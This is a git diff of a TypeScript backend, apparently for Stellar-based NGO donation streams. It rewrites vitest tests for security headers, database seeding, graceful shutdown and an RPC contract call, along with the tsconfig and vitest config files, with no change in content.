a/test/security-headers.test.ts b/test/security-headers.test.ts index f3d0c1a..b3c613e 100644 --- a/test/security-headers.test.ts +++ b/test/security-headers.test.ts @@ -1,71 +1,71 @@ -import { describe, expect, it } from 'vitest'; - -import { buildServer } from '../src/server.js'; - -describe('Security headers (helmet)', () => { - it('sets X-Content-Type-Options header', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/health', - }); - - expect(response.headers['x-content-type-options']).toBe('nosniff'); - - await app.close(); - }); - - it('sets X-Frame-Options header', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/health', - }); - - expect(response.headers['x-frame-options']).toBe('SAMEORIGIN'); - - await app.close(); - }); - - it('sets X-XSS-Protection header', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/health', - }); - - expect(response.headers['x-xss-protection']).toBeDefined(); - - await app.close(); - }); - - it('sets Strict-Transport-Security header', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/health', - }); - - // Helmet sets HSTS by default - expect(response.headers['strict-transport-security']).toBeDefined(); - - await app.close(); - }); - - it('sets X-DNS-Prefetch-Control header', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/health', - }); - - expect(response.headers['x-dns-prefetch-control']).toBe('off'); - - await app.close(); - }); -}); +import { describe, expect, it } from 'vitest'; + +import { buildServer } from '../src/server.js'; + +describe('Security headers (helmet)', () => { + it('sets X-Content-Type-Options header', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/health', + }); + + expect(response.headers['x-content-type-options']).toBe('nosniff'); + + await app.close(); + }); + + it('sets X-Frame-Options header', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/health', + }); + + expect(response.headers['x-frame-options']).toBe('SAMEORIGIN'); + + await app.close(); + }); + + it('sets X-XSS-Protection header', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/health', + }); + + expect(response.headers['x-xss-protection']).toBeDefined(); + + await app.close(); + }); + + it('sets Strict-Transport-Security header', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/health', + }); + + // Helmet sets HSTS by default + expect(response.headers['strict-transport-security']).toBeDefined(); + + await app.close(); + }); + + it('sets X-DNS-Prefetch-Control header', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/health', + }); + + expect(response.headers['x-dns-prefetch-control']).toBe('off'); + + await app.close(); + }); +}); diff --git a/test/seed.test.ts b/test/seed.test.ts index 635ac77..f5694ef 100644 --- a/test/seed.test.ts +++ b/test/seed.test.ts @@ -1,82 +1,82 @@ -import { Keypair, StrKey } from '@stellar/stellar-sdk'; -import { afterEach, beforeEach, describe, expect, it } from 'vitest'; - -import { prisma } from '../src/db.js'; -import { buildServer } from '../src/server.js'; -import { signAdminRequest } from './helpers/adminAuth.js'; -import { resetDb } from './helpers/db.js'; -import { SEED_APPLICATIONS, SEED_DONORS, SEED_NGOS, seed } from '../prisma/seed.js'; - -describe('prisma/seed.ts', () => { - const adminKeypair = Keypair.random(); - const originalAdminAddress = process.env.ADMIN_ADDRESS; - - beforeEach(async () => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - await resetDb(); - }); - - afterEach(async () => { - if (originalAdminAddress !== undefined) { - process.env.ADMIN_ADDRESS = originalAdminAddress; - } else { - delete process.env.ADMIN_ADDRESS; - } - await resetDb(); - }); - - it('runs against the test database and produces valid data accepted by the API', async () => { - await seed(prisma); - - // Verify NGOs seeded with valid StrKey addresses - const ngos = await prisma.ngo.findMany(); - expect(ngos).toHaveLength(SEED_NGOS.length); - for (const ngo of ngos) { - expect(ngo.ownerAddress).toMatch(/^G[A-Z2-7]{55}$/); - expect(StrKey.isValidEd25519PublicKey(ngo.ownerAddress)).toBe(true); - } - - // Verify Donors seeded with valid StrKey addresses - const donors = await prisma.donor.findMany(); - expect(donors).toHaveLength(SEED_DONORS.length); - for (const donor of donors) { - expect(donor.address).toMatch(/^G[A-Z2-7]{55}$/); - expect(StrKey.isValidEd25519PublicKey(donor.address)).toBe(true); - } - - // Verify Streams seeded - const streams = await prisma.stream.findMany(); - expect(streams).toHaveLength(4); - - // Verify Applications seeded with RFC 4122 UUIDs - const applications = await prisma.ngoApplication.findMany(); - expect(applications).toHaveLength(SEED_APPLICATIONS.length); - - // Assert the API accepts seeded applications and does not 400 - const app = buildServer(); - for (const seededApp of SEED_APPLICATIONS) { - const url = `/v1/ngo-applications/${seededApp.id}`; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ - method: 'GET', - url, - headers, - }); - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.id).toBe(seededApp.id); - expect(body.ownerAddress).toBe(seededApp.ownerAddress); - } - - // Also assert that GET /v1/ngos/lookup accepts the seeded addresses without 400 - for (const seededNgo of SEED_NGOS) { - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/lookup?address=${seededNgo.ownerAddress}`, - }); - expect(response.statusCode).not.toBe(400); - } - - await app.close(); - }); -}); +import { Keypair, StrKey } from '@stellar/stellar-sdk'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; + +import { prisma } from '../src/db.js'; +import { buildServer } from '../src/server.js'; +import { signAdminRequest } from './helpers/adminAuth.js'; +import { resetDb } from './helpers/db.js'; +import { SEED_APPLICATIONS, SEED_DONORS, SEED_NGOS, seed } from '../prisma/seed.js'; + +describe('prisma/seed.ts', () => { + const adminKeypair = Keypair.random(); + const originalAdminAddress = process.env.ADMIN_ADDRESS; + + beforeEach(async () => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + await resetDb(); + }); + + afterEach(async () => { + if (originalAdminAddress !== undefined) { + process.env.ADMIN_ADDRESS = originalAdminAddress; + } else { + delete process.env.ADMIN_ADDRESS; + } + await resetDb(); + }); + + it('runs against the test database and produces valid data accepted by the API', async () => { + await seed(prisma); + + // Verify NGOs seeded with valid StrKey addresses + const ngos = await prisma.ngo.findMany(); + expect(ngos).toHaveLength(SEED_NGOS.length); + for (const ngo of ngos) { + expect(ngo.ownerAddress).toMatch(/^G[A-Z2-7]{55}$/); + expect(StrKey.isValidEd25519PublicKey(ngo.ownerAddress)).toBe(true); + } + + // Verify Donors seeded with valid StrKey addresses + const donors = await prisma.donor.findMany(); + expect(donors).toHaveLength(SEED_DONORS.length); + for (const donor of donors) { + expect(donor.address).toMatch(/^G[A-Z2-7]{55}$/); + expect(StrKey.isValidEd25519PublicKey(donor.address)).toBe(true); + } + + // Verify Streams seeded + const streams = await prisma.stream.findMany(); + expect(streams).toHaveLength(4); + + // Verify Applications seeded with RFC 4122 UUIDs + const applications = await prisma.ngoApplication.findMany(); + expect(applications).toHaveLength(SEED_APPLICATIONS.length); + + // Assert the API accepts seeded applications and does not 400 + const app = buildServer(); + for (const seededApp of SEED_APPLICATIONS) { + const url = `/v1/ngo-applications/${seededApp.id}`; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ + method: 'GET', + url, + headers, + }); + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.id).toBe(seededApp.id); + expect(body.ownerAddress).toBe(seededApp.ownerAddress); + } + + // Also assert that GET /v1/ngos/lookup accepts the seeded addresses without 400 + for (const seededNgo of SEED_NGOS) { + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/lookup?address=${seededNgo.ownerAddress}`, + }); + expect(response.statusCode).not.toBe(400); + } + + await app.close(); + }); +}); diff --git a/test/shutdown.test.ts b/test/shutdown.test.ts index 6be71bc..fc61e00 100644 --- a/test/shutdown.test.ts +++ b/test/shutdown.test.ts @@ -1,122 +1,122 @@ -/** - * Tests for the process-level error handlers defined in src/index.ts. - * - * Strategy: import only the `shutdown` export (which is pure async teardown, - * no process.exit) and verify it calls stopIndexer + app.close(). The - * unhandledRejection handler is tested by emitting the event directly on the - * mocked process listeners via a subprocess-style check that confirms - * process.exit(1) would be triggered on that path. - */ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -// --------------------------------------------------------------------------- -// Mock heavy dependencies before src/index.ts is imported so the module can -// be loaded without a real DB, RPC server, or network. -// --------------------------------------------------------------------------- - -vi.mock('dotenv/config', () => ({})); - -vi.mock('../src/server.js', () => ({ - buildServer: vi.fn(() => ({ - log: { - info: vi.fn(), - error: vi.fn(), - }, - listen: vi.fn().mockResolvedValue(undefined), - close: vi.fn().mockResolvedValue(undefined), - })), -})); - -const mockStopIndexer = vi.fn().mockResolvedValue(undefined); - -vi.mock('../src/indexer/worker.js', () => ({ - startIndexer: vi.fn(() => mockStopIndexer), -})); - -vi.mock('../src/indexer/dispatch.js', () => ({ - dispatchEvent: vi.fn(), -})); - -// --------------------------------------------------------------------------- -// Now load the module under test. -// --------------------------------------------------------------------------- -const { shutdown } = await import('../src/index.js'); -const { buildServer } = await import('../src/server.js'); -const mockApp = vi.mocked(buildServer).mock.results[0]?.value as { - log: { info: ReturnType; error: ReturnType }; - close: ReturnType; -}; - -describe('shutdown()', () => { - beforeEach(() => { - vi.clearAllMocks(); - mockApp.close.mockResolvedValue(undefined); - }); - - it('stops the indexer and closes the server', async () => { - await shutdown('SIGTERM'); - - expect(mockStopIndexer).toHaveBeenCalledOnce(); - expect(mockApp.close).toHaveBeenCalledOnce(); - }); - - it('logs the signal that triggered the shutdown', async () => { - await shutdown('SIGTERM'); - - expect(mockApp.log.info).toHaveBeenCalledWith( - expect.objectContaining({ signal: 'SIGTERM' }), - 'shutting down', - ); - }); - - it('propagates server close errors so callers can decide the exit code', async () => { - const boom = new Error('close failed'); - mockApp.close.mockRejectedValue(boom); - - await expect(shutdown('SIGTERM')).rejects.toThrow('close failed'); - }); -}); - -describe('unhandledRejection policy', () => { - let exitSpy: ReturnType; - - beforeEach(() => { - vi.clearAllMocks(); - mockApp.close.mockResolvedValue(undefined); - // Prevent process.exit from terminating the test runner. - exitSpy = vi.spyOn(process, 'exit').mockImplementation(() => undefined as never); - }); - - afterEach(() => { - exitSpy.mockRestore(); - }); - - it('exits with code 1 when an unhandled rejection occurs', async () => { - // Emit the event the same way Node does for an uncaught rejection. - process.emit('unhandledRejection', new Error('db connection lost'), Promise.resolve()); - - // Allow the microtask queue and any pending promises to flush. - await new Promise((resolve) => setTimeout(resolve, 50)); - - expect(exitSpy).toHaveBeenCalledWith(1); - }); - - it('tears down the indexer and server before exiting on unhandled rejection', async () => { - process.emit('unhandledRejection', new Error('rpc timeout'), Promise.resolve()); - - await new Promise((resolve) => setTimeout(resolve, 50)); - - expect(mockStopIndexer).toHaveBeenCalled(); - expect(mockApp.close).toHaveBeenCalled(); - }); - - it('still exits with code 1 when shutdown itself errors during an unhandled rejection', async () => { - mockApp.close.mockRejectedValue(new Error('shutdown error')); - - process.emit('unhandledRejection', new Error('original rejection'), Promise.resolve()); - - await new Promise((resolve) => setTimeout(resolve, 50)); - - expect(exitSpy).toHaveBeenCalledWith(1); - }); -}); +/** + * Tests for the process-level error handlers defined in src/index.ts. + * + * Strategy: import only the `shutdown` export (which is pure async teardown, + * no process.exit) and verify it calls stopIndexer + app.close(). The + * unhandledRejection handler is tested by emitting the event directly on the + * mocked process listeners via a subprocess-style check that confirms + * process.exit(1) would be triggered on that path. + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +// --------------------------------------------------------------------------- +// Mock heavy dependencies before src/index.ts is imported so the module can +// be loaded without a real DB, RPC server, or network. +// --------------------------------------------------------------------------- + +vi.mock('dotenv/config', () => ({})); + +vi.mock('../src/server.js', () => ({ + buildServer: vi.fn(() => ({ + log: { + info: vi.fn(), + error: vi.fn(), + }, + listen: vi.fn().mockResolvedValue(undefined), + close: vi.fn().mockResolvedValue(undefined), + })), +})); + +const mockStopIndexer = vi.fn().mockResolvedValue(undefined); + +vi.mock('../src/indexer/worker.js', () => ({ + startIndexer: vi.fn(() => mockStopIndexer), +})); + +vi.mock('../src/indexer/dispatch.js', () => ({ + dispatchEvent: vi.fn(), +})); + +// --------------------------------------------------------------------------- +// Now load the module under test. +// --------------------------------------------------------------------------- +const { shutdown } = await import('../src/index.js'); +const { buildServer } = await import('../src/server.js'); +const mockApp = vi.mocked(buildServer).mock.results[0]?.value as { + log: { info: ReturnType; error: ReturnType }; + close: ReturnType; +}; + +describe('shutdown()', () => { + beforeEach(() => { + vi.clearAllMocks(); + mockApp.close.mockResolvedValue(undefined); + }); + + it('stops the indexer and closes the server', async () => { + await shutdown('SIGTERM'); + + expect(mockStopIndexer).toHaveBeenCalledOnce(); + expect(mockApp.close).toHaveBeenCalledOnce(); + }); + + it('logs the signal that triggered the shutdown', async () => { + await shutdown('SIGTERM'); + + expect(mockApp.log.info).toHaveBeenCalledWith( + expect.objectContaining({ signal: 'SIGTERM' }), + 'shutting down', + ); + }); + + it('propagates server close errors so callers can decide the exit code', async () => { + const boom = new Error('close failed'); + mockApp.close.mockRejectedValue(boom); + + await expect(shutdown('SIGTERM')).rejects.toThrow('close failed'); + }); +}); + +describe('unhandledRejection policy', () => { + let exitSpy: ReturnType; + + beforeEach(() => { + vi.clearAllMocks(); + mockApp.close.mockResolvedValue(undefined); + // Prevent process.exit from terminating the test runner. + exitSpy = vi.spyOn(process, 'exit').mockImplementation(() => undefined as never); + }); + + afterEach(() => { + exitSpy.mockRestore(); + }); + + it('exits with code 1 when an unhandled rejection occurs', async () => { + // Emit the event the same way Node does for an uncaught rejection. + process.emit('unhandledRejection', new Error('db connection lost'), Promise.resolve()); + + // Allow the microtask queue and any pending promises to flush. + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(exitSpy).toHaveBeenCalledWith(1); + }); + + it('tears down the indexer and server before exiting on unhandled rejection', async () => { + process.emit('unhandledRejection', new Error('rpc timeout'), Promise.resolve()); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(mockStopIndexer).toHaveBeenCalled(); + expect(mockApp.close).toHaveBeenCalled(); + }); + + it('still exits with code 1 when shutdown itself errors during an unhandled rejection', async () => { + mockApp.close.mockRejectedValue(new Error('shutdown error')); + + process.emit('unhandledRejection', new Error('original rejection'), Promise.resolve()); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(exitSpy).toHaveBeenCalledWith(1); + }); +}); diff --git a/test/stellar/rpc.test.ts b/test/stellar/rpc.test.ts index 10dbc33..7f59541 100644 --- a/test/stellar/rpc.test.ts +++ b/test/stellar/rpc.test.ts @@ -1,39 +1,39 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const { simulateTransaction } = vi.hoisted(() => ({ - simulateTransaction: vi.fn(), -})); - -vi.mock('@stellar/stellar-sdk/rpc', async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - Server: class { - simulateTransaction(transaction: unknown) { - return simulateTransaction(transaction); - } - }, - }; -}); - -import { nativeToScVal, Transaction } from '@stellar/stellar-sdk'; -import { callContract } from '../../src/stellar/rpc.js'; -import { fakeContractAddress } from '../helpers/db.js'; - -beforeEach(() => { - simulateTransaction.mockReset(); -}); - -describe('callContract', () => { - it('simulates a read-only call and decodes its return value', async () => { - simulateTransaction.mockResolvedValue({ - result: { retval: nativeToScVal('result') }, - }); - - const result = await callContract(fakeContractAddress('A'), 'read'); - - expect(result).toBe('result'); - expect(simulateTransaction).toHaveBeenCalledOnce(); - expect(simulateTransaction.mock.calls[0][0]).toBeInstanceOf(Transaction); - }); -}); +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +const { simulateTransaction } = vi.hoisted(() => ({ + simulateTransaction: vi.fn(), +})); + +vi.mock('@stellar/stellar-sdk/rpc', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + Server: class { + simulateTransaction(transaction: unknown) { + return simulateTransaction(transaction); + } + }, + }; +}); + +import { nativeToScVal, Transaction } from '@stellar/stellar-sdk'; +import { callContract } from '../../src/stellar/rpc.js'; +import { fakeContractAddress } from '../helpers/db.js'; + +beforeEach(() => { + simulateTransaction.mockReset(); +}); + +describe('callContract', () => { + it('simulates a read-only call and decodes its return value', async () => { + simulateTransaction.mockResolvedValue({ + result: { retval: nativeToScVal('result') }, + }); + + const result = await callContract(fakeContractAddress('A'), 'read'); + + expect(result).toBe('result'); + expect(simulateTransaction).toHaveBeenCalledOnce(); + expect(simulateTransaction.mock.calls[0][0]).toBeInstanceOf(Transaction); + }); +}); diff --git a/tsconfig.json b/tsconfig.json index 123a042..5a94e6a 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -1,28 +1,28 @@ -{ - "compilerOptions": { - "target": "ES2022", - "lib": ["ES2022"], - "module": "NodeNext", - "moduleResolution": "NodeNext", - "rootDir": "src", - "outDir": "dist", - "strict": true, - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "skipLibCheck": true, - "resolveJsonModule": true, - "declaration": false - }, - "include": ["src"], - "exclude": [ - "**/*.test.ts", - "src/admin/**", - "src/applications/**", - "src/donors/donors.service.ts", - "src/health/health.controller.ts", - "src/impacts/impact.service.ts", - "src/main.ts", - "src/notifications/notifications.service.ts", - "src/streams/streams.service.ts" - ] -} +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2022"], + "module": "NodeNext", + "moduleResolution": "NodeNext", + "rootDir": "src", + "outDir": "dist", + "strict": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "skipLibCheck": true, + "resolveJsonModule": true, + "declaration": false + }, + "include": ["src"], + "exclude": [ + "**/*.test.ts", + "src/admin/**", + "src/applications/**", + "src/donors/donors.service.ts", + "src/health/health.controller.ts", + "src/impacts/impact.service.ts", + "src/main.ts", + "src/notifications/notifications.service.ts", + "src/streams/streams.service.ts" + ] +} diff --git a/vitest.config.ts b/vitest.config.ts index 4487087..7707130 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -1,43 +1,43 @@ -import { configDefaults, defineConfig } from 'vitest/config'; - -const unitTests = [ - 'test/cacheable.test.ts', - 'test/compression.test.ts', - 'test/cors.test.ts', - 'test/metrics.test.ts', - 'test/requestId.test.ts', - 'test/security-headers.test.ts', - 'test/shutdown.test.ts', - 'test/routes/serializeStream.test.ts', - 'test/scripts/replayDeadLetters.test.ts', -]; - -export default defineConfig({ - test: { - projects: [ - { - extends: true, - test: { - name: 'unit', - include: unitTests, - environment: 'node', - testTimeout: 10000, - hookTimeout: 10000, - }, - }, - { - extends: true, - test: { - name: 'integration', - include: ['test/**/*.test.ts'], - exclude: [...configDefaults.exclude, ...unitTests], - environment: 'node', - setupFiles: ['./test/setup.ts'], - testTimeout: 20000, - hookTimeout: 20000, - fileParallelism: false, - }, - }, - ], - }, -}); +import { configDefaults, defineConfig } from 'vitest/config'; + +const unitTests = [ + 'test/cacheable.test.ts', + 'test/compression.test.ts', + 'test/cors.test.ts', + 'test/metrics.test.ts', + 'test/requestId.test.ts', + 'test/security-headers.test.ts', + 'test/shutdown.test.ts', + 'test/routes/serializeStream.test.ts', + 'test/scripts/replayDeadLetters.test.ts', +]; + +export default defineConfig({ + test: { + projects: [ + { + extends: true, + test: { + name: 'unit', + include: unitTests, + environment: 'node', + testTimeout: 10000, + hookTimeout: 10000, + }, + }, + { + extends: true, + test: { + name: 'integration', + include: ['test/**/*.test.ts'], + exclude: [...configDefaults.exclude, ...unitTests], + environment: 'node', + setupFiles: ['./test/setup.ts'], + testTimeout: 20000, + hookTimeout: 20000, + fileParallelism: false, + }, + }, + ], + }, +});